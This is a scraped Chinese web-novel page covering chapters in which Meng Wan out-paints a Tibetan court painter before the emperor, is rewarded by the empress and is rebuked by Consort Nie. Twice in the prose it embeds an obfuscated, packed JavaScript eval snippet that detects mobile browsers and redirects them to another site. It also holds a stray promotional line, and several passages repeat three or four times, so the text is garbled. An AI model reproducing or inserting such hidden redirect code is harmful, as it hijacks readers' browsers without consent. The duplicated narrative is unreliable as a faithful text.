“臣下定当竭尽全力。孟晚身姿挺直,哪怕穿着素净,周身气势却并不是靠一身华服所体现的,而是经过大风巨浪后自然凝练,让内殿的人都不免将视线转移到他身上。 罗霁宁盯着他的背影有些出神。 这个人,真的和他来自同一时空吗? 孟晚跟着宫侍从内殿离开,候在偏殿等候正殿的宫侍过来传唤,他没等上太久,很快就被招入正殿。 正殿辉煌庞大,上了朱漆的柱子都要两人合抱,孟晚第一眼便是金灿灿的龙纹,柱子上、宫墙上,再往上龙椅的位置他没敢往上看。 孟晚垂首,缓步,不动声色的找自己人。 乐正崎如今是几品官? 没有资格入殿吧? 他家宋亭舟在前排? 大殿太大了,孟晚只能看见左右两边朝臣案几下的两条腿,还被绯红的朝袍遮住大半。 但朝夕相处太久了,孟晚哪怕只看两条腿,也认出那条是他家的来。 怕他紧张,宋亭舟将一条胳膊匿于桌下,骨节分明的大手点了点自己的靴子。 孟晚看见了,他嘴角微不可察的勾了一下,心安了。 “孟夫郎,跪下面圣吧。嗓音尖细的宫侍细心提醒道,他便是当初去宋家宣旨那位喜公公,也是皇上身边的近侍之一。 孟晚一听,虽然依旧不知自己行到大殿何处,却干脆利索的跪下行了大礼,“臣下参见陛下,陛下万岁万岁万万岁。 你的朋友正在书荒,快去帮帮他吧 “平身吧。”孟晚头顶不远处传来一道威严的声音,在大殿中回荡。 孟晚从地上爬起来,头微微抬起,仍不敢直视圣颜。 皇上语气欣慰,夸赞了孟晚一句,“你早年献上来的《赫山糖坊图》画得很好,比起项芸,青出于蓝而胜于蓝。”那幅图如今珍藏于大内,除了那天在殿内看到的几人,寻常人难以得见。 “多谢陛下称赞,臣下不及师尊半分。”孟晚这句话是诚心的,项芸自幼**画,一直画到年迈力衰方封笔,其画技之炉火纯青,甚至能做到闭目挥毫,孟晚自认远不能及。 然而皇上叫他过来,并不是不是为了听他自谦的。 “吐蕃国的王子为朕献上了他们国顶级画师所作《昆仑撷玉图》,言此画乃世间珍品,凝画技之极致,寻常画师难以匹敌。朕听闻你在内殿,便欲宣你进殿作画一幅,与其比试一番。”皇上坐在龙椅上说了这么一番话后,孟晚明显察觉落在自己身上的视线更多了。 《昆仑撷玉图》正被宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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王瓒阴阳怪气的接过去,“赵大人怎么这么说话?便是他们不敢,也该看在吐蕃国年年进贡的份上,给叶尔羌王子一个面子,如此直白,岂不叫王子为难?” 吐蕃国王子自小便学习禹国官话,没想到听得都是辩不回去的阴阳怪气,险些气死。 宋亭舟从座位上站起来给他致命一击,“叶尔羌王子,贵国是不敢同我国画师比试一二吗?若是如此,便不要再说什么天下第一画技这样狂妄的话,叫人贻笑大方。” 都察院的御史们都默了,他们是阴阳怪气,宋大人是硬刚啊! 再一看上首龙椅上陛下的脸色,只见他脸色平淡,嘴角却勾起一个微翘的弧度。 这些年安南屡犯西南边境的事,想必周边国家都已经知晓。吐蕃国位处禹国西北方,领土比安南还大,安南都不服自己国家年年进贡,吐蕃国又怎会服气?自然更是蠢蠢欲动,这次进京便迫不及待的试探了起来。 “你说我狂妄?比就比!”禹国自诩礼仪之邦,叶尔羌王子学得可都是正经的孔孟之道,书上也没教怎么对付别人的阴阳怪气,心里冒火又不知道怎么开口,气得鼻子里鼻毛都在乱飞。 宫侍眼观六路耳听八方,喜公公见状立即让人给孟晚准备桌案。 宋亭舟拦住他,“不必劳烦公公了,便叫本官夫郎坐在本官案几旁,只是纸张颜料备上便是。” 喜公公扭头去看帝王脸色,只见皇上挥了挥龙袍上夸大的袖子,“准。” 孟晚走到宋亭舟面前,背对着旁人对他露了个笑脸。都怪皇宫内院规矩太多,如此煎熬,真是度日如年,在正殿突然见到宋亭舟,真是想死他了。 宋亭舟回他一个安抚性的笑,孟晚的笑没人看见,宋亭舟笑殿内大半人都发觉了,平时宋大人做事一丝不苟,板板正正,如今对其夫郎笑得和花一样,叫人看着稀奇。 案几是低矮的长方形矮桌,宋亭舟把主位让给孟晚,自己站到他身后压阵护航。 孟晚跪坐在特殊规制的蒲团上,先是找了找感觉。他走南闯北见识非凡,心中笔墨众多,找到自己画心之后也明白了,画之一道,不是光画的好看、画的美了才叫名画。而是将画作与作画者心境融于一体,如此才叫画心。 第21章 金孔雀头面 山河风景孟晚也会画,但他最擅长的还是以画叙事。 孟晚自己调了几样颜料,脑子里思绪不断。 虽然他是被临时拉过来的,但又何尝不是一种机会呢?如项芸一般的绘画大家作画,是给懂得画意的知己看的。 孟晚所作之画又是一类,是给天下百姓看的,如此作画便叫以心作画,使画传意。 他定了定心神,很快想好要画什么,笔触如行云流水,哪怕是停歇半刻,也像是清燕点水,对孟晚浑然一体的气势并无分毫影响。 宋亭舟尽量把目光放在他画笔上,免得惹他分心,随后发现自己的担心是多余的,孟晚真正作画的时候,并不会轻易被外界打扰。 宋亭舟的目光便又自然而然移到孟晚手上、上半身、修长的脖颈、润玉般的侧脸,唇珠微红,眼下侧脸处小巧一点的朱色小痣却比唇珠更红。 阿砚的眼睛就很像晚儿,笑得时候温柔又狡黠,不笑的时候眼角眉梢无一处不精致漂亮,让人不忍心破坏。 “宋大人,宋大人?”有人小声叫宋亭舟,让他瞬间收回思绪,将目光移了过去,眼里的爱意还没消散,喊他的户部尚书蔻汶对上他眼睛瞬间头皮发麻,身上鸡皮疙瘩都冒出来了。 “那个,还是收敛一些吧。”蔻汶好心劝道。 大殿上这么多人呢,至于吗?虽然孟夫郎是长得漂亮,看这么多年还没看够呢? 毕竟前些日子刚参奏完他和夫郎有违礼数,这会儿又如此这般眼神火辣,不知道的还以为是什么登徒子。 宋亭舟阖下眼眸,在殿内扫视一圈,果真见殿内许多人都在往这边看,大部分都是在观察孟晚。 升到三品以上的位置,很少有拎不清的好色之徒,也不是没见识过什么美人,看这边多是好奇宋亭舟夫郎是个什么来头,或是单纯技痒,想凑过来观赏孟晚作画。 孟晚今天画得很快,用色大胆,很快宣纸上就被大片大片的颜色渲染。这回蔻汶也张望起来,偶尔疑惑的轻咦一声。 孟夫郎画得很是平凡啊? 开始泼墨了。 颜色这么深沉吗? 这笔怎么会这么画? 原来如此!真是绝妙。 孟晚最后落笔的时候,宋亭舟下意识要给他捏肩,旁边喜公公眼尖的用手中拂尘 甩在他手背上。 我的大人啊!陛下还在呢! 孟晚抬头后,才发现身边已经乌泱泱围了里三层外三层,最中间就是不知来了多久的皇上。 孟晚忙屈膝行礼,“是臣下的过错,让陛下久等了。” 皇上略显苍老的脸上笑意温和,“不必多礼,画得已经很快了。” 王瓒也在,他不动声色的拱火,“孟夫郎不必自谦,如此已经极好了,你之前那幅赫山糖坊图若是拿出来直接比试,难免叶尔羌王子心存疑虑,陛下这才宣你你在大殿内作画。不论如何,你才画了一个时辰罢了,吐蕃国的画想必用时更久,叶尔羌王子,本官说的对吧?” 他说话的语气不紧不慢,甚至称得上和善,可被刺的人听着就是很别扭。 叶尔羌心里堵得慌,又不知道该如何反驳,只能粗粗的喘着气,低头看孟晚的画作。 他带来的画师也在看,看了半晌久久没有吭声。 外行看画,内行看心。 孟晚所作之画仍是他擅长的叙事风,画卷被从中间过渡分开,并无明显的线条,大地天空融合的如此自然,让人清楚这是在诉说两个故事的同时,又不会觉得突兀。 图中画的是两个兄弟,自小在农家长大,不同的是哥哥每天老老实实的跟爹娘种地,弟弟总是偷懒跑到私塾外面听里面的夫子授业读书。 长大后的兄弟俩,哥哥继承家里的几亩田地,认真耕田,娶妻生子。弟弟则背上行囊走出家门去做生意。 几年后弟弟因为识字,生意越做越大。哥哥的村庄和田地却受到了敌国士兵的侵袭。 田地被毁,哥哥穿上戎装上阵杀敌,弟弟则在后方囤运粮草,最后哥哥成为镇守边疆的大英雄,弟弟成为富甲一方,被陛下嘉奖过的皇商。 很新奇的画,看这么一幅画像是看了一本意味深长的书本。 叶尔羌王子做为一个外行,也看得入迷,回过神来后的第一句话便是,“像我们吐蕃国的壁画。” 他不可能去夸奖孟晚的画,其他人却已经看得分明,在场的大臣都是绝大多数都是进士出身,天下读书人中的佼佼者,自是有鉴赏能力。 这两幅画如今已经没有可比性了,光从意境上来看,孟夫郎就已经甩出吐蕃国带来的画一大截。这样的画便是被仿造,也仿不出画中深意,这便是普通画 师和绘坛大家的区别。 更遑论孟晚的画技也在吐蕃国画师之上,这么一幅画上,却能以笔墨描绘出秋季累累的麦田,和边疆血腥残酷的战场,其笔下风物纤毫毕现,似乎真能破开画壁行至眼前。 这样一幅画,谁也不能说出不好来。 其实孟晚更想画的是哥哥一辈子种地,弟弟读书明智回乡开私塾造福族人,普及全国百姓读书明智才是正道。 但当下是什么场合?当着外邦的面不能暴露禹国一点点的短处,不然等皇上回过神来,万一迁怒宋亭舟怎么办? 这可是皇宫大内,谨慎小心这四个字孟晚恨不得刻在脑门上去。 他身体还是恭恭敬敬半躬身的状态,口中把在脑子里过了两遍的话,流畅的说了出来。 “陛下心怀天下,志在太平,使禹国百姓读书开智,贤才辈出,源源不断地为朝廷输送人才;更有将士们悍不畏死保卫疆土,方得今日海晏河清之盛世。臣下只是个寻常小哥儿,亦亲眼见过陛下治理下的大好河山。满腔忠君爱国之忱,实在不知该如何上达天听,只能借这幅拙画,以表寸心。” 都察院左都御史苟正芳看了他一眼,眼眸垂下的瞬间实在没忍住又瞟了一眼。 宋亭舟这位夫郎…… 他身边王瓒小声嘟囔,“可惜是个小哥儿,不然真该破例招入都察院。” 蔻汶也悄然附和,“恐怕陛下更想让他做个史官。” 两人互看一眼,都有些自惭形秽的意思。 皇上听了孟晚的话,果然被夸得龙颜大悦,谁都知道孟晚在拍马屁,但怎么拍,什么场合拍,又是一门学问。 孟晚现在便是说到了皇上心坎上,吐蕃国不承认孟晚画得好也不行。 难道他们觉得禹国皇帝治理国家治理的不好吗?信不信画得的兵马去吐蕃国的速度比叶尔羌王子回国的速度还快? 和一个小哥儿比已经很丢人了,再说别的只是自取其辱。吐蕃国的画师也很干脆,“是我输了,你很厉害,以后若是来吐蕃国,我会扫榻相迎。” 他禹国话说的没有叶尔羌王子好,还特意拽了句成语,结果说的词不达意,宋亭舟的脸色立马就沉了下来,十分明显,没有半点遮掩的意思。 叶尔羌王子看出来了,这位画技了得的小哥儿,是这个出言顶撞他官员夫郎。 冷笑一声,叶尔羌王子对已经回到龙椅上继续赏画的皇上说道:“陛下,我们吐蕃国最喜欢的就是有才能的美人,还请陛下把这位美人赐给你的属臣做妃子吧。” 他儿子都八岁了,就算禹国皇帝把孟晚赐给他也是做侍君,叶尔羌就是抱着不管成不成,都要膈应膈应宋亭舟一次的想法。 目光扫视过去,宋亭舟的眼神果然已经沉得像是浸了冰水,坚毅的唇角也绷成一条冷硬的直线,浑身透着一股压不下去的低气压。 大殿上只有不傻都知道叶尔羌王子在针对宋亭舟,皇上的视线从画上移开,“哦?叶尔羌王子竟然还没有王妃吗?可惜孟氏已嫁人为夫郎,不若朕赏赐你个王妃?” 皇上是不可能把公主、郡主等下嫁到吐蕃国的,家里有女儿的大臣心中一凛。 一直沉寂的吏部尚书吴巍深深的看了宋亭舟一眼,站出来说道:“陛下,吐蕃国今年进贡的丝绸和宝石比往年少了近半……”他话说了半截就又悄然退了回去,可见如今行事之低调。 宋亭舟眉梢压得极低,“陛下,难怪叶尔羌王子讨要臣之夫郎,原是国资匮乏,在本国连王妃都娶不上。” “你一派胡言!谁说本王子没有王妃!”叶尔羌气得原地跺脚。 宋亭舟冷笑,“既然叶尔羌王子有王妃,何故还向陛下讨要,岂不是故意欺瞒,犯了欺君重罪!” 禹国几个邻近国家都被上一任帝王打服过,成为禹国附属国,每年要赴京供奉不说,还要自称为属臣。 所以宋亭舟说叶尔羌欺君就是在提醒他,在他们吐蕃国叶尔羌是王子,可在禹国,他只是臣子。哪怕不可能真的按照禹国律法处置他,这句话也让叶尔羌怒气上涌,太阳穴突突直跳。 “陛下恕罪,是外臣鲁莽了。”他胸腔中是烧得滚烫的火,也只能生生按捺住,不能发泄,只是愈发用仇恨的目光盯着宋亭舟。 宋亭舟恍若未闻,只坐回自己的位置照看自己夫郎。孟晚头次见宋亭舟在朝堂上的样子,觉得他简直帅到令人发指,偷偷在桌下为他竖了一根大拇指。 皇上自持身份,不可能在大殿上亲自呵斥外邦王子,但不代表他愿意容忍这些小国试探他的底线。 将吐蕃国王子嚣张的气焰打压下去,大殿上奏起了歌舞,场面又是一片祥和,其他等着看戏的他国使臣也老实的不像话。 内 外有别,孟晚这会儿完成了使命,又被宫侍请回内殿,喜公公亲自去送的。 临走前宋亭舟捏捏他的手心,轻声说道:“不必担忧,照顾好自己和娘。” 孟晚轻轻点了点头,用微弱的气音回道:“你也是。” 他伴着丝竹管弦、钟鼓齐鸣的悠扬乐器声中离开。 宋亭舟有自己的事要做,他也有他的仗要打。 孟晚回去的时候,内殿众人已经纷纷撂了筷子,喜公公卑躬屈膝,在皇后娘娘面前回禀起了正殿的发生的事情,和皇上交代的嘱托。 屏蔽其他人打量的目光,孟晚行过礼之后老老实实坐回座位上。等喜公公离开后,皇后娘娘便立即吩咐身边的女使拟了懿旨,当众赏赐起孟晚来。 “常老夫人,你家娶了个好夫郎。” 常金花冷不丁被点了名,手忙脚乱的行礼谢恩。 四位女使各端着托盘入殿,行至孟晚面前才将上头的红罗销金大夹袱揭开,每个托盘上都摆放着繁复且华丽的首饰,加在一起就是一整套头面。 最中间的便是纯金打造的孔雀发冠,孔雀的每根羽毛上都嵌着一颗颗大小均匀的蓝宝石,在昏黄的灯火下同样熠熠生辉。 剩下则是累丝羽毛分心、挑心、掩鬓和钗簪。上面具都镶嵌着宝石和碧玺,金翠耀眼,夺人眼目。 皇后看着这套头面目露追忆之色,“这套嵌宝石金孔雀头面,是本宫出嫁时的陪嫁,上面并无龙凤图腾,可配你往日穿戴。” 孟晚刚坐下,椅子还没焐热,就又从座位上起身,装作感激涕零的样子到殿中行礼。 皇后脸上露出极为浅淡的笑意,“你为陛下立了大功,这些倒是不算什么,收着吧。” 勋贵人家不缺首饰,可顶级头面也是相当难得的,更遑论这是皇后娘娘的陪嫁,工艺价值都是其次,身份面子无人能敌。 这可是天下最尊贵的女人的旧物啊! 托盘上的宝石闪闪发亮,宫妃和命妇的眼睛时不时便瞟过去一眼。 只有罗霁宁看着那上头的宝石像是在看什么蓝绿大玻璃似的,听着身旁人的吸气声暗自翻白眼。 整套头面都被女使装到盒子里,仔细捧着站到孟晚身后,待出宫之时,交予他的手上。 众人看这架势心里嘀咕,顺天府尹家的夫郎这是被召去正殿做什么了? “皇后娘娘,他一个小孩子家家的,这么贵重的东西恐怕是压不住吧?” 孟晚淡定的把目光移到上面,怀恩伯爵夫人正义正言辞的跟皇后说话,听她的语气,仿佛是孟晚长辈似的。 在座之人有的早就知晓两人关系,有的听得一脸茫然。 怎么孟夫郎受到赏赐,林夫人反而做主要皇后娘娘收回成命呢? 外有别,孟晚这会儿完成了使命,又被宫侍请回内殿,喜公公亲自去送的。 临走前宋亭舟捏捏他的手心,轻声说道:“不必担忧,照顾好自己和娘。” 孟晚轻轻点了点头,用微弱的气音回道:“你也是。” 他伴着丝竹管弦、钟鼓齐鸣的悠扬乐器声中离开。 宋亭舟有自己的事要做,他也有他的仗要打。 孟晚回去的时候,内殿众人已经纷纷撂了筷子,喜公公卑躬屈膝,在皇后娘娘面前回禀起了正殿的发生的事情,和皇上交代的嘱托。 屏蔽其他人打量的目光,孟晚行过礼之后老老实实坐回座位上。等喜公公离开后,皇后娘娘便立即吩咐身边的女使拟了懿旨,当众赏赐起孟晚来。 “常老夫人,你家娶了个好夫郎。” 常金花冷不丁被点了名,手忙脚乱的行礼谢恩。 四位女使各端着托盘入殿,行至孟晚面前才将上头的红罗销金大夹袱揭开,每个托盘上都摆放着繁复且华丽的首饰,加在一起就是一整套头面。 最中间的便是纯金打造的孔雀发冠,孔雀的每根羽毛上都嵌着一颗颗大小均匀的蓝宝石,在昏黄的灯火下同样熠熠生辉。 剩下则是累丝羽毛分心、挑心、掩鬓和钗簪。上面具都镶嵌着宝石和碧玺,金翠耀眼,夺人眼目。 皇后看着这套头面目露追忆之色,“这套嵌宝石金孔雀头面,是本宫出嫁时的陪嫁,上面并无龙凤图腾,可配你往日穿戴。” 孟晚刚坐下,椅子还没焐热,就又从座位上起身,装作感激涕零的样子到殿中行礼。 皇后脸上露出极为浅淡的笑意,“你为陛下立了大功,这些倒是不算什么,收着吧。” 勋贵人家不缺首饰,可顶级头面也是相当难得的,更遑论这是皇后娘娘的陪嫁,工艺价值都是其次,身份面子无人能敌。 这可是天下最尊贵的女人的旧物啊! 托盘上的宝石闪闪发亮,宫妃和命妇的眼睛时不时便瞟过去一眼。 只有罗霁宁看着那上头的宝石像是在看什么蓝绿大玻璃似的,听着身旁人的吸气声暗自翻白眼。 整套头面都被女使装到盒子里,仔细捧着站到孟晚身后,待出宫之时,交予他的手上。 众人看这架势心里嘀咕,顺天府尹家的夫郎这是被召去正殿做什么了? “皇后娘娘,他一个小孩子家家的,这么贵重的东西恐怕是压不住吧?” 孟晚淡定的把目光移到上面,怀恩伯爵夫人正义正言辞的跟皇后说话,听她的语气,仿佛是孟晚长辈似的。 在座之人有的早就知晓两人关系,有的听得一脸茫然。 怎么孟夫郎受到赏赐,林夫人反而做主要皇后娘娘收回成命呢? 外有别,孟晚这会儿完成了使命,又被宫侍请回内殿,喜公公亲自去送的。 临走前宋亭舟捏捏他的手心,轻声说道:“不必担忧,照顾好自己和娘。” 孟晚轻轻点了点头,用微弱的气音回道:“你也是。” 他伴着丝竹管弦、钟鼓齐鸣的悠扬乐器声中离开。 宋亭舟有自己的事要做,他也有他的仗要打。 孟晚回去的时候,内殿众人已经纷纷撂了筷子,喜公公卑躬屈膝,在皇后娘娘面前回禀起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430314|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了正殿的发生的事情,和皇上交代的嘱托。 屏蔽其他人打量的目光,孟晚行过礼之后老老实实坐回座位上。等喜公公离开后,皇后娘娘便立即吩咐身边的女使拟了懿旨,当众赏赐起孟晚来。 “常老夫人,你家娶了个好夫郎。” 常金花冷不丁被点了名,手忙脚乱的行礼谢恩。 四位女使各端着托盘入殿,行至孟晚面前才将上头的红罗销金大夹袱揭开,每个托盘上都摆放着繁复且华丽的首饰,加在一起就是一整套头面。 最中间的便是纯金打造的孔雀发冠,孔雀的每根羽毛上都嵌着一颗颗大小均匀的蓝宝石,在昏黄的灯火下同样熠熠生辉。 剩下则是累丝羽毛分心、挑心、掩鬓和钗簪。上面具都镶嵌着宝石和碧玺,金翠耀眼,夺人眼目。 皇后看着这套头面目露追忆之色,“这套嵌宝石金孔雀头面,是本宫出嫁时的陪嫁,上面并无龙凤图腾,可配你往日穿戴。” 孟晚刚坐下,椅子还没焐热,就又从座位上起身,装作感激涕零的样子到殿中行礼。 皇后脸上露出极为浅淡的笑意,“你为陛下立了大功,这些倒是不算什么,收着吧。” 勋贵人家不缺首饰,可顶级头面也是相当难得的,更遑论这是皇后娘娘的陪嫁,工艺价值都是其次,身份面子无人能敌。 这可是天下最尊贵的女人的旧物啊! 托盘上的宝石闪闪发亮,宫妃和命妇的眼睛时不时便瞟过去一眼。 只有罗霁宁看着那上头的宝石像是在看什么蓝绿大玻璃似的,听着身旁人的吸气声暗自翻白眼。 整套头面都被女使装到盒子里,仔细捧着站到孟晚身后,待出宫之时,交予他的手上。 众人看这架势心里嘀咕,顺天府尹家的夫郎这是被召去正殿做什么了? “皇后娘娘,他一个小孩子家家的,这么贵重的东西恐怕是压不住吧?” 孟晚淡定的把目光移到上面,怀恩伯爵夫人正义正言辞的跟皇后说话,听她的语气,仿佛是孟晚长辈似的。 在座之人有的早就知晓两人关系,有的听得一脸茫然。 怎么孟夫郎受到赏赐,林夫人反而做主要皇后娘娘收回成命呢? 外有别,孟晚这会儿完成了使命,又被宫侍请回内殿,喜公公亲自去送的。 临走前宋亭舟捏捏他的手心,轻声说道:“不必担忧,照顾好自己和娘。” 孟晚轻轻点了点头,用微弱的气音回道:“你也是。” 他伴着丝竹管弦、钟鼓齐鸣的悠扬乐器声中离开。 宋亭舟有自己的事要做,他也有他的仗要打。 孟晚回去的时候,内殿众人已经纷纷撂了筷子,喜公公卑躬屈膝,在皇后娘娘面前回禀起了正殿的发生的事情,和皇上交代的嘱托。 屏蔽其他人打量的目光,孟晚行过礼之后老老实实坐回座位上。等喜公公离开后,皇后娘娘便立即吩咐身边的女使拟了懿旨,当众赏赐起孟晚来。 “常老夫人,你家娶了个好夫郎。” 常金花冷不丁被点了名,手忙脚乱的行礼谢恩。 四位女使各端着托盘入殿,行至孟晚面前才将上头的红罗销金大夹袱揭开,每个托盘上都摆放着繁复且华丽的首饰,加在一起就是一整套头面。 最中间的便是纯金打造的孔雀发冠,孔雀的每根羽毛上都嵌着一颗颗大小均匀的蓝宝石,在昏黄的灯火下同样熠熠生辉。 剩下则是累丝羽毛分心、挑心、掩鬓和钗簪。上面具都镶嵌着宝石和碧玺,金翠耀眼,夺人眼目。 皇后看着这套头面目露追忆之色,“这套嵌宝石金孔雀头面,是本宫出嫁时的陪嫁,上面并无龙凤图腾,可配你往日穿戴。” 孟晚刚坐下,椅子还没焐热,就又从座位上起身,装作感激涕零的样子到殿中行礼。 皇后脸上露出极为浅淡的笑意,“你为陛下立了大功,这些倒是不算什么,收着吧。” 勋贵人家不缺首饰,可顶级头面也是相当难得的,更遑论这是皇后娘娘的陪嫁,工艺价值都是其次,身份面子无人能敌。 这可是天下最尊贵的女人的旧物啊! 托盘上的宝石闪闪发亮,宫妃和命妇的眼睛时不时便瞟过去一眼。 只有罗霁宁看着那上头的宝石像是在看什么蓝绿大玻璃似的,听着身旁人的吸气声暗自翻白眼。 整套头面都被女使装到盒子里,仔细捧着站到孟晚身后,待出宫之时,交予他的手上。 众人看这架势心里嘀咕,顺天府尹家的夫郎这是被召去正殿做什么了? “皇后娘娘,他一个小孩子家家的,这么贵重的东西恐怕是压不住吧?” 孟晚淡定的把目光移到上面,怀恩伯爵夫人正义正言辞的跟皇后说话,听她的语气,仿佛是孟晚长辈似的。 在座之人有的早就知晓两人关系,有的听得一脸茫然。 怎么孟夫郎受到赏赐,林夫人反而做主要皇后娘娘收回成命呢? 外有别,孟晚这会儿完成了使命,又被宫侍请回内殿,喜公公亲自去送的。 临走前宋亭舟捏捏他的手心,轻声说道:“不必担忧,照顾好自己和娘。” 孟晚轻轻点了点头,用微弱的气音回道:“你也是。” 他伴着丝竹管弦、钟鼓齐鸣的悠扬乐器声中离开。 宋亭舟有自己的事要做,他也有他的仗要打。 孟晚回去的时候,内殿众人已经纷纷撂了筷子,喜公公卑躬屈膝,在皇后娘娘面前回禀起了正殿的发生的事情,和皇上交代的嘱托。 屏蔽其他人打量的目光,孟晚行过礼之后老老实实坐回座位上。等喜公公离开后,皇后娘娘便立即吩咐身边的女使拟了懿旨,当众赏赐起孟晚来。 “常老夫人,你家娶了个好夫郎。” 常金花冷不丁被点了名,手忙脚乱的行礼谢恩。 四位女使各端着托盘入殿,行至孟晚面前才将上头的红罗销金大夹袱揭开,每个托盘上都摆放着繁复且华丽的首饰,加在一起就是一整套头面。 最中间的便是纯金打造的孔雀发冠,孔雀的每根羽毛上都嵌着一颗颗大小均匀的蓝宝石,在昏黄的灯火下同样熠熠生辉。 剩下则是累丝羽毛分心、挑心、掩鬓和钗簪。上面具都镶嵌着宝石和碧玺,金翠耀眼,夺人眼目。 皇后看着这套头面目露追忆之色,“这套嵌宝石金孔雀头面,是本宫出嫁时的陪嫁,上面并无龙凤图腾,可配你往日穿戴。” 孟晚刚坐下,椅子还没焐热,就又从座位上起身,装作感激涕零的样子到殿中行礼。 皇后脸上露出极为浅淡的笑意,“你为陛下立了大功,这些倒是不算什么,收着吧。” 勋贵人家不缺首饰,可顶级头面也是相当难得的,更遑论这是皇后娘娘的陪嫁,工艺价值都是其次,身份面子无人能敌。 这可是天下最尊贵的女人的旧物啊! 托盘上的宝石闪闪发亮,宫妃和命妇的眼睛时不时便瞟过去一眼。 只有罗霁宁看着那上头的宝石像是在看什么蓝绿大玻璃似的,听着身旁人的吸气声暗自翻白眼。 整套头面都被女使装到盒子里,仔细捧着站到孟晚身后,待出宫之时,交予他的手上。 众人看这架势心里嘀咕,顺天府尹家的夫郎这是被召去正殿做什么了? “皇后娘娘,他一个小孩子家家的,这么贵重的东西恐怕是压不住吧?” 孟晚淡定的把目光移到上面,怀恩伯爵夫人正义正言辞的跟皇后说话,听她的语气,仿佛是孟晚长辈似的。 在座之人有的早就知晓两人关系,有的听得一脸茫然。 怎么孟夫郎受到赏赐,林夫人反而做主要皇后娘娘收回成命呢? 第22章 聂贵妃 “对了,说起来你母亲便是孟夫郎的师父,想来他和你平日走得很近了?”皇后娘娘像是才想起怀恩伯爵夫人和孟晚还有一层关系。 林苁蕙在座位上微微屈身,“本该是亲近的关系,只不过孟夫郎清高的很,回京之后从未登过我怀恩伯爵府的大门。” 聂贵妃理了理腰身处的褶皱,漫不经心的说:“看孟氏就像是个话少的,没想到人情也如此冷漠吗?我记得项先生好像是去年才过世的吧?” 两人一唱一和,就是暗指孟晚师父一死就翻脸不认人了? 孟晚按住欲要起身的常金花,笑眯眯的看向右侧一品诰命夫人那里。虽然都不认识,但应当是有许多的熟人,什么吴夫人,内阁大学士的夫人,这会儿都跟蝈蝈似的缩着装聋作哑。 “顾夫人吧?我记得当初我和夫君初入盛京,就曾去拜访过怀恩伯爵夫人,在伯爵府见过顾大姑娘一面,对了,当时还有吴大姑娘。”孟晚和两家不熟,只知道内阁大学士姓顾,秦艽的未婚妻就是他家嫡次女,他便点名似的一点点俩。 “那有些年头了吧?家里孩子都嫁人了,倒是没有提过。” “不错,年轻的女娘多是趁着没嫁人出去和姊妹们透透气,宴会去得多了,实在不知哪次是碰见了孟夫郎的。” 两位夫人年龄不一,这会儿表现倒是一致,一致的装糊涂。 正殿的事只有皇后娘娘略知一二,其余人谁也不懂孟晚为何被叫去了前头,又为何受赏。 最靠谱的答案也就是皇上看重宋亭舟,是瞧在宋亭舟的份上给了赏赐。怀恩伯爵夫人一看就是和孟夫郎不对付的。 一个是老牌子勋贵,一个又是皇上器重的年轻俊才,两边都不好得罪,更何况,聂贵妃说话的意思也是在帮着怀恩伯爵夫人的。 皇后娘娘身体抱恙,太子失踪后更是不济了,听说凤印如今都在聂贵妃手里,廉王殿下又风头正盛,谁敢不给她三分颜面呢? 其中最为难的就是顾家,大女儿当初差点嫁到怀恩伯爵府,叫吴家姑娘抢了先,这会儿看来得亏没嫁到怀恩伯爵府家。 但是她小女儿又被太子妃选去做弟媳妇,高攀到了侯府,秦家可是太子妃娘家,她家就算是和太子绑在一块了。 其实这事当时顾大人两口子也愁过,内阁权利渐渐被削弱,顾大学士只沾了个清流的名头好听,其实在朝 中只算个没有实权的摆设。 秦艽虽说是嫁个纨绔,可世子就是世子,将来可是要继承侯府的,女儿若是生下嫡子,岂不是同样能袭爵? 思量再三,还是应了。 只是外面的名头不好,都说顾家是清流世家,女儿却都往勋贵人家上踅摸,可算是打了脸,自有人拿这个取笑顾家。 自家事自家知道,岂不知顾家也在后悔,顾夫人现在只希望女儿的婚事别出纰漏,这会儿说什么也不想招惹是非。毕竟面上看,宋家和太子确实没什么交集,只是和秦艽有几分交情。但是话说回来,就算孟晚夫夫和秦艽有交情,上面还有太子妃在呢,也轮不到她。 顾夫人心思捋顺了,看向身旁的吴夫人,曾经心高气傲的女人,这两年越发低调,上头的伯爵夫人可是她亲家,却也没有多寒暄几句的意思。 再越过这群人遥望皇后身边的太子妃,只见她扶着额,似乎颇为疲惫的样子。 “两位夫人记性都不太好,那倒也无伤大雅。只是怀恩伯爵府的大门,是我师父临终前叮嘱不必高攀的,师命难违,也只能请伯爵夫人见谅了。”孟晚算准了她们的态度,也不生气,脸上还是笑着的模样,轻飘飘地又说出这么一句话来。 **便要诛心,不然和挠痒痒差不多,还有什么意思? 林苁蕙气定神闲的脸色骤然巨变,她就是和母亲关系再不好,从一个她认为是外人的口中听到这种话,也不免心头猛颤。 因为,她母亲项芸,是真能做出临终留信叫自己徒弟不许入她家门的人。 聂贵妃看了眼她的脸色,忽觉得没意思,在伯府经营那么多年,也不过是个看不懂天高地厚的废物罢了。 她高贵淡漠的眼睛俯视下首的孟晚,“这张嘴倒是牙尖嘴利,林夫人身为长辈,你却如此不敬尊长,难道你父母和夫家,没教过你熟读《女诫》吗?” 乡下女娘小哥儿的名声尚且容不得半分诋毁,更遑论是礼仪规矩繁杂琐碎的盛京城。 今日殿内这么多人在,哪怕常金花只是一个乡下人,也知道贵妃娘娘这番训斥若是传出去对孟晚的名声有多大影响。 她抖着手,明明自己怕的不行,还是站起来躬身替孟晚解释:“贵妃娘娘,晚哥儿他不是没有规矩,是伯爵夫人自己说了不让他上门。” 为了给自己壮胆,也怕上首的贵人听不清,常 金花音量不小。 聂贵妃眉间涌上一抹厌烦,“本宫可是问起你了?” 